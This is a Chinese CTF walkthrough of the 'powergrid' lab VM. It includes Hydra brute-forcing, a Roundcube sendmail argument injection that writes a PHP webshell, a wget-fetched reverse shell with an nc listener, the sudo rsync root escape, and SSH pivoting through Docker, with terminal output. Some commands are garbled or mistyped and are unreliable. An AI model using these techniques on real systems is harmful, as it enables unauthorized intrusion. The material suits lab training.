

# powergrid

## 信息收集

发现目标开放80，和imap，imaps协议

## imap

首先我telnet 192.168.1.31 143  
提醒我该认证要ssl所以telnet无法连接

## web渗透

主页显示三个人，而且刚开始靶机提示纯在弱密码

目录爆破出zmail

hydra -L user.txt -P /usr/share/wordlists/rocky.txt 192.168.31

爆出来p48:electrico

登录发现该网站是roundcube 1.4.4的邮件系统

searchspolit 发现该网站存在远程命令执行

窃取发送邮件的流量

在\_form修改为

example@example.com -OQueueDirectory=/tmp -X/var/www/html/a.php

发生标题改为我们的php命令

<?php phpinfo() ?>

在http://192.168.1.31/a.php出发现phpinfo界面

再次上传一个命令执行代码

<?php \$\_POST[pass] ;?>

这里我手动输入命令没有反馈

于是用哥斯拉连接成功

在执行wget reverse shell php文件

在kali nc -lvnp 4444 重新连接到

## 提权

### 第一次提权

经过一番查找，最后想起来试试直接切换到p48用户，发现成功

在home/p48/下发现公钥

再邮件还说到一个私钥

```
gpg --import 公钥 输出P48的密码
```

```
pg --decrypt 私钥 > id_rsa
```

### 第二次

问题是主机没有开放22端口

IP a发现目标开放docker

看看有哪些容器开放

没有nmap 那就ping把

```
for i in {1..254};do ping -c 1 -W 1;done
```

发现开放了172.17.0.2

```
ssh -i id_rsa p48@172.17.0.2
```

```
sudo -l
```

发现# rsync 不需要密码有root权限

```
sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
```

提权成功

但是查看flag说还有一个

### 第三次

ssh root@172.17.0.1

登录成功

```
File Actions Edit View Help
chroot 600 id_rsa
p4@powergrid:~$ ssh -i id_rsa p4@172.17.0.2
ssh -i id_rsa p4@172.17.0.2
Linux ef117d7a978f 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed May 20 02:22:10 2020 from 172.17.0.1
p4@ef117d7a978f:~$ whoami
p4
p4@ef117d7a978f:~$ sudo -l
sudo -l
Matching Defaults entries for p4 on ef117d7a978f:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/bin\:/usr/sbin\:/sbin\:/bin

User p4 may run the following commands on ef117d7a978f:
    (root) NOPASSWD: /usr/bin/rsync
p4@ef117d7a978f:~$ sudo rsync -e 'sh -c "sh 0x2 1:02"' 127.0.0.1:/dev/null
rsync: rsync -e 'sh -c "sh 0x2 1:02"' 127.0.0.1:/dev/null
# whoami
root
# cd /root
cd /root
# ls
ls
flag3.txt
# cat flag2.txt
cat flag3.txt
009a4dddfc6b0d8b1c313da8f77a6a2

Well done for getting the third flag. Are you any good at pivoting backwards?
# ssh root@172.17.0.1
ssh root@172.17.0.1
Linux powergrid 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2 (2020-04-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue May 20 12:15:49 2020
root@powergrid:~# ls
ls
chown.sh flag4.txt malware.php 'systemctl status docker'
root@powergrid:~# cat flag4.txt
cat flag4.txt
f5afaf46e9d5d5de76eac1876c6d0130

Congratulations. This is the fourth and final flag. Make sure to delete /var/www/html/startTime.txt to stop the attack (you will need to run chattr -i /var/www/html/startTime.txt first).

This CTF was created by Thomas Williams - https://security.caerdydd.wales

Please visit my blog and provide feedback - I will be glad to hear your comments.
root@powergrid:~# chattr -i /var/www/html/startTime.txt
chattr -i /var/www/html/startTime.txt
root@powergrid:~# rm /var/www/html/startTime.txt
rm /var/www/html/startTime.txt
root@powergrid:~#
```